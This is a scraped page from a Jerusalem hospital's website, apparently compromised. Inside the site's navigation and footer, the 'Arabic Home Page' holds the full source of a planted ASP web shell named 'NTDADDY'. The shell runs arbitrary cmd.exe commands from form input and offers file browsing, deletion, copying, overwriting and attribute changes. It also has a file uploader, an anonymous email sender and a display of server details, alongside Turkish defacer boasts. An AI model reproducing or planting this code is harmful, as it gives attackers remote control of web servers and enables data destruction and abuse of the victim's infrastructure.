Home
About Herzog
Children Respiratory Unit
Geriatrics
Psychogeriatrics
Psychiatry
The Temmy & Albert Latner Israel Center for the Treatment of Psychotrauma
Herzog News
Newsletter
Fields of Research
List of Researchers
Integrated Health Center
The Lily Silver Education Center
Library & Resource Center
Information & Admission
Estate Planning
Clinics & Outpatient Services
Rivlin Campaign
Chaplaincy Program
Employment opportunities
Friends & Volunteers
American Friends of Herzog Hospital
British Friends of Herzog Hospital
German Friends of Herzog Hospital
Canadian Friends of Herzog Hospital
Related Sites
Contact Us
Herzog > Arabic Home Page
Arabic Home Page
This page is under construction
lost
<%@ Language=VBScript %>
<%Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If%>
<% if request.form("flag")=""then %>


::: ELMALISEKER :::
<%
'Commands
dim fs,f
dim FilePath,FolderPath,FileTo,Cmd
dim selFolder,FolderTo
dim Tempmsg
dim TempAtt
dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat
Const ForReading = 1, ForWriting = 2, ForAppending = 3
Set fs = CreateObject("Scripting.FileSystemObject")
FilePath=Request.Form("FileName")
FolderPath=Request.Form("FolderPath")
selFolder=Request.Form("FolderName")
FolderTo=Request.form("CopyFolderTo")
FileTo=Request.Form("CopyFileTo")
Cmd=Request.Form("cmdOption")
TextCmd=Request.form("cmdtxtFileOption")
Select case Cmd
case "DeleteFile"
fs.deletefile FilePath,TRUE
response.write("File: " & FilePath & " has been deleted.")
case "DeleteFolder"
fs.deletefolder selFolder,TRUE
response.write("Folder: " & selFolder & " has been deleted.")
FolderPath=Request.form("RefreshFolderPath")
case "CopyFile"
fs.CopyFile FilePath,FileTo, TRUE
response.write("File: " & FilePath & " has been copied to " & FileTo & ".")
case "CopyFolder"
fs.CopyFolder selFolder,FolderTo, TRUE
response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".")
case "SetFileAttributes"
on error resume next
if FilePath <> "" then
Set f = fs.GetFile(FilePath)
select case f.attributes
case 0
FileAttributes = "Normal"
case 1
FileAttributes = "Read Only"
case 2
FileAttributes = "Hidden"
case 3 'Extra
FileAttributes = "Read Only, Hidden"
case 4
FileAttributes = "System"
case 7 'Extra
FileAttributes = "Read Only, Hidden, System"
case 8
FileAttributes = "Volume"
case 16
FileAttributes = "Directory"
case 19
FileAttributes = "Read Only, Hidden, Directoy"
case 23
FileAttributes = "Read Only, Hidden, System, Directory"
case 32
FileAttributes = "Archive"
case 33 'Extra
FileAttributes = "Read Only, Archive"
case 34 'Extra
FileAttributes = "Hidden, Archive"
case 38 'Extra
FileAttributes = "Hidden, Archive, System"
case 39 'Extra
FileAttributes = "Read Only, Hidden, Archive, System"
case 48
FileAttributes = "Directory, Archive"
case 64
FileAttributes = "Alias"
case 128
FileAttributes = "Compressed"
case else
FileAttributes = f.attributes
end select
end if
response.write("
")
response.write("")
response.write("")
response.write("
")
response.write("")
response.write("")
response.write("")
response.write("")
if f.DateCreated = "" then
response.write("")
else
response.write("
Accessed: " & f.DateLastModified & "")
end if
response.write("")
response.write("
File Name: " & f.name & "
Set New Attributes:
")
response.write("Normal")
response.write("
Read Only")
response.write("
Hidden")
response.write("
System")
response.write("
Volume")
response.write("
Directory")
response.write("
Archive")
response.write("
Alias")
response.write("
Compressed")
response.write("
")
response.write("
Type of File: " & f.type & "
Location: " & f.path)
response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----")
else
response.write("
Created: " & f.DateCreated)
end if
if f.DateLastAccessed = "" then
response.write("
Modified: ----")
else
response.write("
Modified: " & f.DateLastAccessed)
end if
if f.DateLastModified = "" then
response.write("
Accessed: ----
Attributes: " & FileAttributes & "
")
case "SetFolderAttributes"
on error resume next
FolderPath=Request.form("RefreshFolderPath")
if selFolder <> "" then
Set f = fs.Getfolder(selFolder)
select case f.attributes
case 0
FolderAttributes = "Normal"
case 1
FolderAttributes = "Read Only"
case 2
FolderAttributes = "Hidden"
case 3 'Extra
FolderAttributes = "Read Only, Hidden"
case 4
FolderAttributes = "System"
case 7 'Extra
FolderAttributes = "Read Only, Hidden, System"
case 8
FolderAttributes = "Volume"
case 16
FolderAttributes = "Directory"
case 17 'Extra
FolderAttributes = "Read Only, Directory"
case 18 'Extra
FolderAttributes = "Hidden, Directory"
case 19
FolderAttributes = "Read Only, Hidden, Directoy"
case 20 'Extra
FolderAttributes = "System, Directory"
case 22 'Extra
FolderAttributes = "Hidden, System. Directory"
case 23
FolderAttributes = "Read Only, Hidden, System, Directory"
case 32
FolderAttributes = "Archive"
case 33 'Extra
FolderAttributes = "Read Only, Archive"
case 34 'Extra
FolderAttributes = "Hidden, Archive"
case 38 'Extra
FolderAttributes = "Hidden, Archive, System"
case 39 'Extra
FolderAttributes = "Read Only, Hidden, Archive, System"
case 48
FolderAttributes = "Directory, Archive"
case 64
FolderAttributes = "Alias"
case 128
FolderAttributes = "Compressed"
case else
FolderAttributes = f1.attributes
end select
end if
response.write("
")
response.write("")
response.write("")
response.write("
")
response.write("")
response.write("")
response.write("")
response.write("")
if f.DateCreated = "" then
response.write("")
else
response.write("
Accessed: " & f.DateLastModified & "")
end if
response.write("")
response.write("
Folder Name: " & f.name & "
Set New Attributes:
")
response.write("Normal")
response.write("
Read Only")
response.write("
Hidden")
response.write("
System")
response.write("
Volume")
response.write("
Directory")
response.write("
Archive")
response.write("
Alias")
response.write("
Compressed")
response.write("
")
response.write("
Type of Folder: " & f.type & "
Location: " & f.path)
response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----")
else
response.write("
Created: " & f.DateCreated)
end if
if f.DateLastAccessed = "" then
response.write("
Modified: ----")
else
response.write("
Modified: " & f.DateLastAccessed)
end if
if f.DateLastModified = "" then
response.write("
Accessed: ----
Attributes: " & FolderAttributes & "
")
case "OpenTextFile"
If FilePath <> "" then
lblioMode=Request.form("optiomode")
lblFormat=request.form("optformat")
set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat)
TextOutput = TextFile.ReadAll
'TextOutput=""
'Do While TextFile.AtEndOfStream <> True
' TextOutput = TextOutput & TextFile.ReadLine
'Loop
TextFile.close
else
FilePath = FolderPath
end if
response.write("
")
response.write("
")
response.write("")
response.write("")
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write("")
response.write(chr(13))
response.write("")
response.write(chr(13))
response.write("")
response.write(chr(13))
response.write("")
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write("")
response.write("

")
case "ApplyFileAttributes"
TempAtt=int(Request.form("FileAttribute1"))
TempAtt=TempAtt + int(Request.form("FileAttribute2"))
TempAtt=TempAtt + int(Request.form("FileAttribute3"))
TempAtt=TempAtt + int(Request.form("FileAttribute4"))
TempAtt=TempAtt + int(Request.form("FileAttribute5"))
TempAtt=TempAtt + int(Request.form("FileAttribute6"))
TempAtt=TempAtt + int(Request.form("FileAttribute7"))
TempAtt=TempAtt + int(Request.form("FileAttribute8"))
TempAtt=TempAtt + int(Request.form("FileAttribute9"))
Set f = fs.GetFile(FilePath)
f.attributes=int(TempAtt)
response.write("File: " & FilePath & " attributes have been changed.")
case "ApplyFolderAttributes"
FolderPath=Request.form("RefreshFolderPath")
TempAtt=int(Request.form("FolderAttribute1"))
TempAtt=TempAtt + int(Request.form("FolderAttribute2"))
TempAtt=TempAtt + int(Request.form("FolderAttribute3"))
TempAtt=TempAtt + int(Request.form("FolderAttribute4"))
TempAtt=TempAtt + int(Request.form("FolderAttribute5"))
TempAtt=TempAtt + int(Request.form("FolderAttribute6"))
TempAtt=TempAtt + int(Request.form("FolderAttribute7"))
TempAtt=TempAtt + int(Request.form("FolderAttribute8"))
TempAtt=TempAtt + int(Request.form("FolderAttribute9"))
Set f = fs.Getfolder(selFolder)
f.attributes=int(TempAtt)
response.write("Folder: " & selFolder & " attributes have been changed.")
end select
Select Case TextCmd
case "SaveAs"
TextWrite = Request.form("txtFile")
TextCreateFormat = Request.form("optUnicode")
if textcreateformat = "TRUE" then
tempmsg="Unicode"
else
tempmsg="ASCII"
end if
Set TextFile = fs.CreateTextFile(FilePath, True, TextCreateFormat)
TextFile.Write TextWrite
TextFile.Close
response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.")
end select
%>
<%
Public CurrentPath
Function ShowDriveLetters()
on error resume next
Dim fs, d, dc, t
dim isReadyColor,TempSize,ShowDriveInfo
Set fs = CreateObject("Scripting.FileSystemObject")
Set dc = fs.Drives
ShowDriveInfo=Request.Form("chkShowDriveInfo")
response.write("")
response.write("")
if showdriveinfo="TRUE" then
response.write("")
response.write("")
response.write("")
else
response.write("")
end if
response.write("")
response.write("")
if showdriveinfo="TRUE" then
response.write("")
response.write("")
response.write("")
response.write("")
end if
response.write("")
For Each d in dc
Select Case d.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Network"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
if showdriveinfo="TRUE" then
if d.isReady then
response.write("")
else
response.write("")
end if
if d.filesystem = "" then
response.write("")
else
response.write("")
end if
if d.SerialNumber = "" then
response.write("")
else
response.write("")
end if
else
response.write("")
end if
response.write("")
response.write("")
if showdriveinfo="TRUE" then
if d.volumename="" then
response.write("")
else
response.write("")
end if
if d.sharename="" then
response.write("")
else
response.write("")
end if
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
if d.isready then
freespace = (d.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write("")
else
response.write("")
end if
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
if d.isready then
totalspace = (d.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write("")
else
response.write("")
end if
end if
Next
response.write("")
response.write("
Show Drive Info
File SystemSerial #
Show Drive Info
TypeDriveVolume NameShare NameFree SpaceTotal Size
...." & d.filesystem & "...." & d.SerialNumber & "
" & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
")
response.write("

")
End Function
Function ShowFolderNames()
on error resume next
Dim fs, f, f1, s, sf ,FP
dim ShowFolderInfo,FolderAttributes
ShowFolderInfo=request.form("chkShowFolderInfo")
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
IP=chr(34) & IP & chr(34)
end if
CurrentPath=FP
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(FP)
Set sf = f.SubFolders
response.write("
")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
end if
For Each f1 in sf
if showfolderinfo="TRUE" then
response.write("")
response.write("")
response.write("")
response.write("")
folderattributes="...."
select case f1.attributes
case 0
FolderAttributes = "Normal"
case 1
FolderAttributes = "Read Only"
case 2
FolderAttributes = "Hidden"
case 3 'Extra
FolderAttributes = "Read Only, Hidden"
case 4
FolderAttributes = "System"
case 7 'Extra
FolderAttributes = "Read Only, Hidden, System"
case 8
FolderAttributes = "Volume"
case 16
FolderAttributes = "Directory"
case 17 'Extra
FolderAttributes = "Read Only, Directory"
case 18 'Extra
FolderAttributes = "Hidden, Directory"
case 19
FolderAttributes = "Read Only, Hidden, Directoy"
case 20 'Extra
FolderAttributes = "System, Directory"
case 22 'Extra
FolderAttributes = "Hidden, System. Directory"
case 23
FolderAttributes = "Read Only, Hidden, System, Directory"
case 32
FolderAttributes = "Archive"
case 33 'Extra
FolderAttributes = "Read Only, Archive"
case 34 'Extra
FolderAttributes = "Hidden, Archive"
case 38 'Extra
FolderAttributes = "Hidden, Archive, System"
case 39 'Extra
FolderAttributes = "Read Only, Hidden, Archive, System"
case 48
FolderAttributes = "Directory, Archive"
case 64
FolderAttributes = "Alias"
case 128
FolderAttributes = "Compressed"
case else
FolderAttributes = f1.attributes
end select
response.write("")
if f1.datecreated = "" then
response.write("")
else
response.write("")
end if
if f1.datelastaccessed = "" then
response.write("")
else
response.write("")
end if
if f1.datelastmodified = "" then
response.write("")
else
response.write("")
end if
response.write("")
response.write("")
else
response.write("")
end if
Next
response.write("
Show Folder Info

to
")
if showfolderinfo="TRUE" then
response.write("
FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
")
response.write("
")
End Function
Function ShowFileNames()
on error resume next
Dim fs, f, f1, fc, FP
dim ShowFileInfo,FileAttributes,ShowPrefix
ShowPrefix=request.form("txtShowPrefix")
ShowFileInfo=Request.form("chkShowFileInfo")
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
IP=chr(34) & IP & chr(34)
end if
CurrentPath=FP
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(FP)
Set fc = f.Files
response.write("
")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
if showfileinfo="TRUE" then
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
response.write("")
end if
For Each f1 in fc
if showfileinfo="TRUE" then
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
response.write("")
response.write("")
response.write("")
response.write("")
select case f1.attributes
case 0
FileAttributes = "Normal"
case 1
FileAttributes = "Read Only"
case 2
FileAttributes = "Hidden"
case 3 'Extra
FileAttributes = "Read Only, Hidden"
case 4
FileAttributes = "System"
case 7 'Extra
FileAttributes = "Read Only, Hidden, System"
case 8
FileAttributes = "Volume"
case 16
FileAttributes = "Directory"
case 19
FileAttributes = "Read Only, Hidden, Directoy"
case 23
FileAttributes = "Read Only, Hidden, System, Directory"
case 32
FileAttributes = "Archive"
case 33 'Extra
FileAttributes = "Read Only, Archive"
case 34 'Extra
FileAttributes = "Hidden, Archive"
case 38 'Extra
FileAttributes = "Hidden, Archive, System"
case 39 'Extra
FileAttributes = "Read Only, Hidden, Archive, System"
case 48
FileAttributes = "Directory, Archive"
case 64
FileAttributes = "Alias"
case 128
FileAttributes = "Compressed"
case else
FileAttributes = f1.attributes
end select
response.write("")
if f1.datecreated = "" then
response.write("")
else
response.write("")
end if
if f1.datelastaccessed = "" then
response.write("")
else
response.write("")
end if
if f1.datelastmodified = "" then
response.write("")
else
response.write("")
end if
response.write("")
response.write("")
end if
else
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
response.write("")
end if
end if
Next
response.write("
Show File Info &
Show Only:
to
")
response.write("
FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
" & f1.name & "
")
response.write("
")
End Function
%>




NTDADDY

BU BIR ELMALI SEKERDIR;) YILLARDIR BUYUK BABALAR
TARAFINDAN BILINMESINE RAGMEN DAGITILMIYORDU

AMA BUGUN AHA SIZ EVLATLARIMIZA VERIYOZ CUNKU BIZ BUNUN BABASINI YAPTIK BU DA
SIZIN OLSUN







<%
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
end if
response.write(chr(34) & IP & chr(34) & ">" & FP)
%>







<% =ShowDriveLetters() %>
<% =ShowFolderNames() %> <% =ShowFileNames() %>
















• Remote Info.
• Local Info.


User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>

ID: <%=request.servervariables("SERVER_NAME")%>

IP: <%=request.servervariables("LOCAL_ADDR")%>

HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>

Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>

LogRoot: <%=request.servervariables("APPL_MD_PATH")%>

Date: <% =date() %>

Time: <%=time() %>

HTTPs: <%=request.servervariables("HTTPS")%>

Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>

Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>

Via: <%=request.servervariables("HTTP_VIA")%>

User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>

Wookie: <%=request.servervariables("HTTP_WOOKIE")%>

Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>

Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>

Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>

Method: <%=request.servervariables("REQUEST_METHOD")%>
























• File Upload Utility



File :



• RAW D.O.S. COMMAND INTERFACE

" method="POST">


 



<%

If (IsObject(oFile)) Then

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If%>
































• Anonymous Email Utility
From:
To:
Subject:
Body:









 








<%
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Set Fields = GetUpload()
FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
Fields("File1").Value.SaveAs FilePath
End If
%>
<%
Else
Dim anonFrom,anonTo,anonSubj,anonBody
anonFrom = request.form("From")
anonTo = request.form("To")
anonSubj = request.form("Subject")
anonBody = request.form("Body")
Set objMail = CreateObject("CDONTS.NewMail")
objMail.From=anonFrom
objMail.To=anonTo
objMail.Subject=anonSubj
objMail.Body=anonBody
intReturn=objMail.Send()
%>

:::: DESERTSUN SERVER CRASHER ::::

Message sent successfully!

]


<%
End if
%>

Back to Home Page    Site Map    Back to Top
Hospital Projects
Volunteering
Forum
History Flash Presentation
e-mail Updates
FAQ
Send to a friend                                                                                              info@herzoghospital.org
Tel:972-2-5316875 Fax:972-2-6521881 | Givat Shaul, P.O.Box 3900 Jerusalem 91351, Israel
Another Site Built by [ Telerom C.S. ] ,Israel - 2001